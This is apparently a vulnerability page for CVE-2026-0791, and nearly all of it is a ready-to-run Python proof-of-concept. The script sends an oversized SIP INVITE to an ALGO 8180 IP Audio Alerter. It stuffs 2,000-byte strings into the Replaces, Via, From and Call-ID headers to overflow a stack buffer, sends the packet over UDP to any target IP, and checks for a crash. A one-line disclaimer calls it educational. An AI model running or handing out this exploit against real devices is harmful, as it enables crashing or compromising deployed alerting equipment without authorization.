CVE-2026-0791 ALGO 8180 IP Audio Alerter SIP INVITE Replaces栈缓冲区溢出远程代码执行漏洞

#!/usr/bin/env python3 """ CVE-2026-0791 PoC - ALGO 8180 IP Audio Alerter SIP INVITE Replaces Buffer Overflow Note: This PoC is for educational and authorized security testing purposes only. """ import socket import sys def send_malicious_sip_request(target_ip, target_port=5060): """ Send a crafted SIP INVITE request with an oversized Replaces header to trigger stack-based buffer overflow on ALGO 8180 devices. """ # Generate oversized Replaces header value (exceeds fixed buffer size) # Typical buffer size is around 256-512 bytes, so we use 2000+ bytes overflow_payload = "A" * 2000 # Construct malicious SIP INVITE request sip_request = f"INVITE sip:target@{target_ip}:{target_port} SIP/2.0\r\n" sip_request += f"Via: SIP/2.0/UDP {target_ip}:{target_port};branch=z9hG4bK{overflow_payload}\r\n" sip_request += f"Max-Forwards: 70\r\n" sip_request += f"From: <sip:attacker@{target_ip}>;tag={overflow_payload}\r\n" sip_request += f"To: <sip:target@{target_ip}>\r\n" sip_request += f"Call-ID: {overflow_payload}@{(socket.gethostbyname(target_ip))}\r\n" sip_request += f"CSeq: 1 INVITE\r\n" sip_request += f"Replaces: {overflow_payload}\r\n" # Trigger the vulnerability sip_request += "Contact: <sip:attacker@attacker_ip>\r\n" sip_request += "Content-Type: application/sdp\r\n" sip_request += "Content-Length: 0\r\n" sip_request += "\r\n" print(f"[*] Sending malicious SIP INVITE request to {target_ip}:{target_port}") print(f"[*] Payload length: {len(overflow_payload)} bytes") try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(5) sock.sendto(sip_request.encode(), (target_ip, target_port)) print("[+] Malicious request sent successfully") # Wait for response try: data, addr = sock.recvfrom(4096) print(f"[+] Received response from {addr}: {data[:100]}...") except socket.timeout: print("[!] No response received (possible crash or filtering)") except Exception as e: print(f"[-] Error: {e}") finally: sock.close() if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 5060 send_malicious_sip_request(target, port)